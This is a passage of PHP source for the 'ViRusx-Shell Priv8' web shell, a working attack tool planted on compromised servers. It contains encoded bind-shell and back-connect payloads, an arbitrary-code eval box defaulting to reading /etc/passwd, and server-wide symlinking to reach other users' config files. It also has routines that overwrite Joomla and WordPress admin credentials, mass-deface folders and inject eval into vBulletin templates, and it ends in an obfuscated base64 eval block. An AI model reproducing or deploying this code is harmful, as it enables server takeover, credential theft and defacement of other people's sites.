  188. return $perms;}else return "??????????";}function clearspace($text){return str_replace(" ","_",$text);}$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw=="; ?>
  189. <html><head><title>ViRusx-Shell Priv8</title><link href='http://fonts.googleapis.com/css?family=Orbitron:700' rel='stylesheet' type='text/css'>
  190. <script type="text/javascript">
  191. function tukar(lama,baru){document.getElementById(lama).style.display = 'none';
  192. document.getElementById(baru).style.display = 'block';}
  193. </script>
  194. <style>
  195. .info{ color:#000;background-color:#222; }
  196. span{ font-weight: bolder; }
  197. .bigarea{ width:100%;height:100px; }
  198. #new,input,td,#gg{
  199. border-style:solid;
  200. text-decoration:bold;
  201. color:#ffffff
  202. }
  203. </style>
  204. <style>.title{font-weight:bold;letter-spacing:1px;font-family: "orbitron";color: #00fcff;font-size:20px;text-shadow: 8px 8px 8px color:#ff0c00;}input[type=text]{-moz-box-shadow:0 0 1px black;-webkit-box-shadow:0 0 1px black;height:20px;margin-left: 5px;}input:focus, textarea:focus ,button:active{box-shadow: 0 0 5px #4C83AF;-webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);-moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);background:#222222;overflow: auto;}#menu{font-family:orbitron;background: #0557ff;margin:5px 2px 4px 2px;}div #menu li:hover {cursor:pointer;}div#menu li:hover>ul a:hover{width:118;background:red;}div#menu ul {margin:0;padding:0;float:left;-moz-border-radius: 6px; border-radius: 12px; border:1px solid #555555;}div#menu li {position:relative;display:block;float:left;}div#menu li:hover>ul {left:0px;border-left:1px solid white;}div#menu a{display:block;float:left;font-family:orbitron;padding:4px 6px;margin:0;text-decoration:none;letter-spacing:1px;color:white;}div#menu a:hover{background:rgba(160, 82, 45,0.3);font-family:orbitron;border-bottom:0px;}div#menu ul ul {position:absolute;top:18px;left:-990em;width:130px;padding:5px 0 5px 0;background:#8eb2fb;margin-top:2px;}div#menu ul ul a {padding:2px 2px 2px 10px;height:20px;float:none;display:block;color:black;}.k2ll33d2 {text-align: center;letter-spacing:2px;font-family: "orbitron";color: #fb0a10;font-size:30px;text-shadow: 5px 5px 5px color:#ffff00;} .mybox{-moz-border-radius: 10px; border-radius: 10px;border:1px solid #EC4D00; padding:4px 2px;width:70%;line-height:24px;background:#111111;box-shadow: 0px 4px 2px white;-webkit-box-shadow: 0px 4px 2px #ffffff;-moz-box-shadow: 0px 4px 2px #ffffff;}.myboxtbl{ width:50%; }body{background:#060606 url(http://assets.razerzone.com/eeimages/assets/images/common/honeycomb-bg.jpg) repeat center center fixed;} a {text-decoration:none;} hr, a:hover{border-bottom:1px solid #4C83AF;} *{text-shadow: 0pt 0pt 0.3em rgb(153, 153, 153);font-size:11px;font-family:Tahoma,Verdana,Arial;color:#FFFFFF;} .tabnet{margin:15px auto 0 auto;border: 1px solid #333333;} .main {width:100%;} .gaya {color: #888888;} .top{border-left:15px solid #a4a59d;border-RIGHT:15px solid #a4a59d;font-family:verdana;} .inputz, option{outline:none;transition: all 0.20s ease-in-out;-webkit-transition: all 0.20s ease-in-out;-moz-transition: all 0.20s ease-in-out;border:1px solid rgba(0,0,0, 0.2);background:#504d4d; border:0; padding:2px; border-bottom:1px solid #393939; font-size:15px; color:#eaff00; -moz-border-radius: 6px; border-radius: 12px; border:1px solid #0090af;margin:4px 0 8px 0;} .inputzbut{background:#111111;color:#8f8f8f;margin:0 4px;border:1px solid #555555;} .inputzbut:hover{background:#222222;border-left:1px solid #4C83AF;border-right:1px solid #4C83AF;border-bottom:1px solid #4C83AF;border-top:1px solid #4C83AF;}.inputz:hover{ -moz-border-radius: 6px; border-radius: 10px; border:1px solid #4C83AF;margin:4px 0 8px 0;border-bottom:1px solid #4C83AF;border-top:1px solid #4C83AF;}.output2 {margin:auto;border:1px solid #888888;background:#000000;padding:0 2px;} textarea{margin:auto;border:2px solid #555555;background:#000000;padding:0 2px;} .output {margin:auto;border:1px solid #303030;width:100%;height:400px;background:#000000;padding:0 2px;} .cmdbox{width:100%;}.head_info{padding: 0 4px;} .b1{font-size:30px;padding:0;color:#555555;} .b2{font-size:30px;padding:0;color:#800000;} .b_tbl{text-align:center;margin:0 4px 0 0;padding:0 4px 0 0;border-right:1px solid #333333;} .phpinfo table{width:100%;padding:0 0 0 0;} .phpinfo td{background:#111111;color:#cccccc;padding:6px 8px;;} .phpinfo th, th{background:#191919;border-bottom:1px solid #333333;font-weight:normal;} .phpinfo h2, .phpinfo h2 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222222;padding:4px 0;} .explore{width:100%;} .explore a {text-decoration:none;} .explore td{border-bottom:1px solid #fc0712;padding:0 13px;line-height:24px;} .explore th{padding:7px 18px;font-weight:13px;color:#00fffc ;} .explore th:hover , .phpinfo th:hover, th:hover{color:black;background:#bfeb0d;} .explore tr:hover{background:#00fefe(35,96,156,0.2);} .viewfile{background:#EDECEB;color:#000000;margin:4px 2px;padding:8px;} .sembunyi{display:none;padding:0;margin:0;} k, k a, k a:hover{text-shadow: 0pt 0pt 0.3em red;font-family:orbitron;font-size:25px;color:#a2ff00;}</style><body onLoad="document.getElementById(\'cmd\').focus();"><div class="main"><div class="head_info"> <table width="100%"><tr><td width="23%"><table class="b_tbl">
  205. <?php echo strtoupper((base64_decode('PGNlbnRlcj48aDIgY2xhc3M9IlRJVExFIj5WSVJVU1ggU0hFTEw8L2gyPjwvY2VudGVyPg==')));?><h2 class="k2ll33d2"><a href="?<?php echo "y=".$pwd;?>&amp;x=about">ABOUT</h2></div>
  206. </td></tr></table></td><td class="top" width='50%'><?php echo $buff;?></td>&nbsp;&nbsp;<td style="width:20%;"><a>Server iP : <?php echo $server_ip."<br><br> My iP : ".$my_ip."<br></a>";?><br><a href="?" style="border:3px solid #ff0000;font:12px orbitron;width:200px;padding:0px 20px 0px 20px;">H O M E</a></td></tr></table></div>
  207. <div id="menu"><ul class="menu"><a href="?<?php echo "y=".$pwd;?>">FiLES</a><a href="?<?php echo "y=".$pwd;?>&amp;x=shell">SheLL</a><a href="?<?php echo "y=".$pwd;?>&amp;x=upload">UpL0AD</a><li><a>TOOLS</a><ul><li><a href="?<?php echo "y=".$pwd;?>&amp;x=wordlist">WOrdlist </a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=Hsp">Hsphere Sc</a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=passwd">Get Passwd</a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=wpinch">Wp-index Ch</a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=jominch">Jom-index ch</a></li></ul></li><li><a>SYMLiNK</a><ul><li><a href="?<?php echo "y=".$pwd;?>&amp;x=sf">Symlink File</a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=sec">Symlink server</a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=configs">Get configs</a></li></ul></li><a href="?<?php echo "y=".$pwd;?>&amp;x=php">EVaL</a><a href="?<?php echo "y=".$pwd;?>&amp;x=back">REMOTE</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mysql">DataBase</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mass">Mass D-F</a><a href="?<?php echo "y=".$pwd;?>&amp;x=brute">CP-Brute</a><a href="?<?php echo "y=".$pwd;?>&amp;x=cgi">CGI ShELL</a><a href="?<?php echo "y=".$pwd;?>&amp;x=zone-h">ZoNe-H</a><li><a>A-P-C JOM</a><ul><li><a href="?<?php echo "y=".$pwd;?>&amp;x=joomla">From keyboard</a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=js">From symlink</a></li></ul></li><li><a>A-P-C WP</a><ul><li><a href="?<?php echo "y=".$pwd;?>&amp;x=keyboard">From Keyboard</a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=config">From Symlink</a></li></ul></li><a href="?<?php echo "y=".$pwd;?>&amp;x=vb">VB IN-CH</a><a href="?<?php echo "y=".$pwd;?>&amp;x=domains">DoMaiNs</a><a href="?<?php echo "y=".$pwd;?>&amp;x=string">EncRypt</a><a href="?<?php echo "y=".$pwd;?>&amp;x=boom">JO-WP</a><a href="?<?php echo "y=".$pwd;?>&amp;x=cpftp">CP AuTo DF</a><a href="?<?php echo "y=".$pwd;?>&amp;x=whmcs">WHMCS Pass DEcoDe</a><a href="?<?php echo "y=".$pwd;?>&amp;x=cpmassdeface">CP Mass-DF</a> &nbsp;&nbsp;</ul></div>
  208. <br>
  209. <br>
  210. <br>
  211. <br>
  212. <br>
  213. <?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){?><form action="?y=<?php echo $pwd;?>&amp;x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90>
  214. <?php if(isset($_POST['submitcmd'])) {echo eval(magicboom($_POST['cmd']));}else echo "echo file_get_contents('/etc/passwd');";?></textarea></td></tr><tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Do !" name="submitcmd" /></td></tr></form></table></form> <?php }
  215. elseif(isset($_GET['x']) && ($_GET['x'] == 'about')){echo '<center><br><br><div class="mybox"><br><h2 style="font-size:50px;" class="k2ll33d2">ViRUSX Shell</h2><k>Edited by ViRusx<br><br><br><a href=mailto:virusx.el@live.fr>Mail</a>&nbsp;|&nbsp;<a href="http://facebook.com/SUXoR17" target="_blank">Facebook</a>&nbsp;|&nbsp;<a href="http://zone-h.org/archive/notifier=VIRUSX" target="_blank">Zone-H</a></k><br><br><h3 style="font:25px orbitron;color:#ff0000;">'.date('Y').'</h3></div></center>';}
  216. elseif(isset($_GET['x']) && ($_GET['x'] == 'sf')) {@set_time_limit(0);@mkdir('sym',0777);error_reporting(0);$htaccess = "Options all \n DirectoryIndex gaza.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";$op =@fopen ('sym/.htaccess','w');fwrite($op ,$htaccess);echo '<center><br><br><br><div class="mybox"><h2 class="k2ll33d2">Symlinker</h2><br><form method="post"> File Path:<br><input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br>Symlink Name<br><input class="inputz" type="text" name="symfile" value="s.txt" size="60"/><br><br><input class="inputzbut" type="submit" value="symlink" name="symlink" /><br><br></form></div></center>';$target = $_POST['file'];$symfile = $_POST['symfile'];$symlink = $_POST['symlink'];if ($symlink) {@symlink("$target","sym/$symfile");echo '<br><center><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a><br><br><br><br></center>';}}
  217. elseif(isset($_GET['x']) && ($_GET['x'] == 'js')) {if ($_POST['symjo']) {$config = file_get_contents($_POST['url']);$user = $_POST['user'];$pass = md5($_POST['pass']);function ex($text,$a,$b){$explode = explode($a,$text);$explode = explode($b,$explode[1]);return $explode[0];}if($config && ereg('JConfig',$config)){$psswd = ex($config,'$password = \'',"';");$username = ex($config,'$user = \'',"';");$dbname = ex($config,'$db = \'',"';");$prefix = ex($config,'$dbprefix = \'',"';");$host = ex($config,'$host = \'',"';");$email = ex($config,'$mailfrom = \'',"';");$formn = ex($config,'$fromname = \'',"';");$conn = mysql_connect($host,$username,$psswd) or die(mysql_error());mysql_select_db($dbname,$conn) or die($username.' '.$psswd.' '.$host.' '.$dbname);$query = @mysql_query("UPDATE `".$prefix."users` SET `username` ='".$user."' , `password` = '".$pass."', `usertype` = 'Super Administrator', `block` = 0");if ($query) {echo '<center><h2 class="k2ll33d2">Done !</h2></center><br><table width="100%"><tr><th width="30%">site name</th><th width="20%">user</th><th width="20%">password</th><th width="20%">email</th></tr><tr><td width="20%"><font size="2" color="red">'.$formn.'</font></td><td width="20%">'.$user.'</td><td with="20%">'.$_POST["pass"].'</td><td width="20%">'.$email.'</td></tr></table>';}else {echo '<h2 class="k2ll33d2"><font color="#ff0000">ERROR !</font></h2>';}}else die('<h2 class="k2ll33d2"><font color="red">Not a joomla config</font></h2>');}else { ?> <center><br><br><div class="mybox"><form method="post"><table><h2 class="k2ll33d2">Joomla login changer ( symlink version )</h2><tr><td>config link : </td><td><input class="inputz" type="text" name="url" value=""></td></tr><tr><td>new user : </td><td><input class="inputz" type="text" name="user" value="admin"></td></tr><tr><td>new password : </td><td><input class="inputz" type="text" name="pass" value="123123"></td></tr><tr><td><br></td></tr><tr><td><input type="submit" class="inputzbut" name="symjo" value="change"></td><br></tr></table></form></div></center><?php }}
  218. elseif(isset($_GET['x']) && ($_GET['x'] == 'sec')){$d0mains = @file("/etc/named.conf");
  219. if($d0mains){@mkdir("K7",0777);@chdir("K7");@exe("ln -s / root");
  220. $file3 = '
  221. OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  222. DirectoryIndex ViR.html
  223. ForceType text/plain
  224. AddType text/plain .php
  225. AddType text/plain .html
  226. AddType text/html .shtml
  227. AddType txt .php
  228. AddHandler server-parsed .php
  229. AddHandler txt .php
  230. AddHandler txt .html
  231. AddHandler txt .shtml
  232. Options All
  233. Options All';
  234. $fp3 = fopen('.htaccess','w');$fw3 = fwrite($fp3,$file3);@fclose($fp3);
  235. echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr><td align=center><font size=3>S. No.</font></td><td align=center><font size=3>Domains</font></td><td align=center><font size=3>Users</font></td><td align=center><font size=3>Symlink</font></td></tr>";$dcount = 1;foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo "<tr align=center><td><font size=3>" . $dcount . "</font></td><td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td><td>".$user['name']."</td><td><a href='/K7/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>"; flush();$dcount++;}}}echo "</table>";}else{$TEST=@file('/etc/passwd');if ($TEST){@mkdir("K7",0777);@chdir("K7");exe("ln -s / root");
  236. echo "<br><br><table align=center border=1><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";$dcount = 1;$file = fopen("/etc/passwd", "r") or exit("Unable to open file!");while(!feof($file)){$s = fgets($file);$matches = array();$t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")continue;echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";echo "<td align=center><font class=txt><a href=/K7/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";$dcount++;}fclose($file);echo "</table>";}else{if($os != "Windows"){@mkdir("K7",0777);@chdir("K7");@exe("ln -s / root");
  237. echo "<br><br><center><div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2><table align=center border=1><tr><td align=center><font size=4>id</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";$temp = "";$val1 = 0;$val2 = 1000;for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);if ($uid)$temp .= join(':',$uid)."\n";}echo '<br/>';$temp = trim($temp);$file5 = fopen("test.txt","w");fputs($file5,$temp);fclose($file5);$dcount = 1;$file = fopen("test.txt", "r") or exit("Unable to open file!");while(!feof($file)){$s = fgets($file);$matches = array();$t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")continue;echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";echo "<td align=center><font class=txt><a href=/K7/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";$dcount++;}fclose($file);echo "</table></div></center>";unlink("test.txt");} else echo "<center><font size=4>Cannot create Symlink</font></center>";}}}
  238. elseif(isset($_GET['x']) && ($_GET['x'] == 'mass')){error_reporting(0);?><center><br><br><div class="mybox"><h2 class="k2ll33d2">Folder Mass Defacer</h2><center/><br><center><form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=post>Folder :<br/><input class="inputz" typ=text name=path size=60 value="<?=getcwd();?>"><br>File Name :<br/><input class="inputz" typ=text name=file size=60 value="index.php"><br>index URL :<br/><input class="inputz" typ=text name=url size=60 value=""><br><input class="inputzbut" type=submit value=Deface></form></div></center><?php @error_reporting(0);$mainpath=$_POST[path];$file=$_POST[file];$indexurl=$_POST[url];echo "<br>";$dir=opendir("$mainpath");while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$code=@file_get_contents($indexurl);$finish=@fwrite($start,$code);if ($finish){echo "&#187; $row/$file &#187; Done<br><br>";}}}
  239. elseif(isset($_GET['x']) && ($_GET['x'] == 'vb')) {if(empty($_POST['index'])){echo "<center><br><br><div width='100%' class='mybox'><br><h2 class='k2ll33d2'>Vbulletin index changer</h2><br><FORM method='POST'>host : <INPUT size='12' class='inputz' value='localhost' name='localhost' type='text'>&nbsp;|&nbsp;database : <INPUT class='inputz' size='12' value='db_name' name='database' type='text'>&nbsp;|&nbsp;username : <INPUT class='inputz' size='10' value='db_user' name='username' type='text'>&nbsp;|&nbsp;password : <INPUT class='inputz' size='10' value='bd_pass' name='password' type='text'>&nbsp;|&nbsp;perfix : <input class='inputz' size='10' value='' name='perfix' type='text'><br><br><textarea class='inputz' name='index' cols='40' rows='10'>Hacked By ViRusx.EL</textarea><br><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></div></center>";}else{$localhost = $_POST['localhost'];$database = $_POST['database'];$username = $_POST['username'];$password = $_POST['password'];$perfix = $_POST['perfix'];$index = $_POST['index'];@mysql_connect($localhost,$username,$password) or die(mysql_error());@mysql_select_db($database) or die(mysql_error());$index=str_replace("\'","'",$index);$set_index = "{\${eval(base64_decode(\'";$set_index .= base64_encode("echo '$index';");$set_index .= "\'))}}{\${exit()}}</textarea>";$ok=@mysql_query("UPDATE ".$perfix."template SET template ='".$set_index."' WHERE title ='FORUMHOME'") or die(mysql_error());if($ok){echo "Defaced<br><br>";}}}
  240. elseif(isset($_GET['x']) && $_GET['x'] == 'boom'){
  241. eval (base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KZnVuY3Rpb24gZW50cmUydjIoJHRleHQsJG1hcnF1ZXVyRGVidXRMaWVuLCRtYXJxdWV1ckZpbkxpZW4sJGk9MSl7DQogICAgJGFyMD1leHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOw0KICAgICRhcjE9ZXhwbG9kZSgkbWFycXVldXJGaW5MaWVuLCAkYXIwWyRpXSk7DQogICAgcmV0dXJuIHRyaW0oJGFyMVswXSk7DQp9DQoNCmZ1bmN0aW9uIHJhbmRvbXQoKSB7DQogICAgJGNoYXJzID0gImFiY2RlZmdoaWprbW5vcHFyc3R1dnd4eXowMjM0NTY3ODkiOw0KICAgIHNyYW5kKChkb3VibGUpbWljcm90aW1lKCkqMTAwMDAwMCk7DQogICAgJGkgPSAwOw0KICAgICRwYXNzID0gJyc7DQogICAgd2hpbGUgKCRpIDw9IDcpIHsNCiAgICAgICAgJG51bSA9IHJhbmQoKSAlIDMzOw0KICAgICAgICAkdG1wID0gc3Vic3RyKCRjaGFycywgJG51bSwgMSk7DQogICAgICAgICRwYXNzID0gJHBhc3MgLiAkdG1wOw0KICAgICAgICAkaSsrOw0KICAgIH0NCiAgICByZXR1cm4gJHBhc3M7DQp9DQoNCmZ1bmN0aW9uIGluZGV4X2NoYW5nZXJfd3AoJGNvbmYsICRjb250ZW50KSB7DQogICAgJG91dHB1dCA9ICcnOw0KICAgICRkb2wgPSAnJCc7DQogICAgJGdvID0gMDsNCiAgICAkdXNlcm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOw0KICAgICRwYXNzd29yZCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOw0KICAgICRkYm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOw0KICAgICRwcmVmaXggPSBlbnRyZTJ2MigkY29uZiwkZG9sLiJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTsNCiAgICAkaG9zdCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX0hPU1QnLCAnIiwiJyk7Iik7DQoNCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpOw0KICAgIGlmKCRsaW5rKSB7DQogICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7DQogICAgICAgICRkb2wgPSAnJCc7DQogICAgICAgICRyZXExID0gbXlzcWxfcXVlcnkoIlVQREFURSBgIi4kcHJlZml4LiJ1c2Vyc2AgU0VUIGB1c2VyX2xvZ2luYCA9ICdhZG1pbicsYHVzZXJfcGFzc2AgPSAnNDI5N2Y0NGIxMzk1NTIzNTI0NWIyNDk3Mzk5ZDdhOTMnIFdIRVJFIGBJRGAgPSAxIik7DQogICAgfSBlbHNlIHsNCiAgICAgICAgJG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnIgLz4iOw0KICAgIH0NCiAgICBpZigkcmVxMSkgew0KDQogICAgICAgICRyZXEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJHByZWZpeC4ib3B0aW9uc2AgV0hFUkUgb3B0aW9uX25hbWU9J2hvbWUnIik7DQogICAgICAgICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQogICAgICAgICRzaXRlX3VybD0kZGF0YVsib3B0aW9uX3ZhbHVlIl07IA0KDQogICAgICAgICRyZXEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJHByZWZpeC4ib3B0aW9uc2AgV0hFUkUgb3B0aW9uX25hbWU9J3RlbXBsYXRlJyIpOw0KICAgICAgICAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KICAgICAgICAkdGVtcGxhdGUgPSAkZGF0YVsib3B0aW9uX3ZhbHVlIl07DQoNCiAgICAgICAgJHJlcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kcHJlZml4LiJvcHRpb25zYCBXSEVSRSBvcHRpb25fbmFtZT0nY3VycmVudF90aGVtZSciKTsNCiAgICAgICAgJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCiAgICAgICAgJGN1cnJlbnRfdGhlbWUgPSAkZGF0YVsib3B0aW9uX3ZhbHVlIl07DQoNCiAgICAgICAgJHVzZXJhZ2VudD0iTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNy4wYjsgV2luZG93cyBOVCA1LjE7IC5ORVQgQ0xSIDEuMS40MzIyOyBBbGV4YSBUb29sYmFyOyAuTkVUIENMUiAyLjAuNTA3MjcpIjsNCiAgICAgICAgJHVybDI9JHNpdGVfdXJsLiIvd3AtbG9naW4ucGhwIjsNCg0KICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJsb2c9YWRtaW4mcHdkPTEyMzEyMyZyZW1lbWJlcm1lPWZvcmV2ZXImd3Atc3VibWl0PUxvZyBJbiZ0ZXN0Y29va2llPTEiKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsNCiAgICAgICAgJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQogICAgICAgICRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwiYWN0aW9uPWxvZ291dCIpOw0KICAgICAgICBpZigkcG9zID09PSBmYWxzZSkgew0KJG91dHB1dC49ICJbLV0gTG9naW4gRXJyb3I8YnIgLz4iOw0KICAgICAgICB9IGVsc2Ugew0KJG91dHB1dC49ICJbK10gTG9naW4gU3VjY2Vz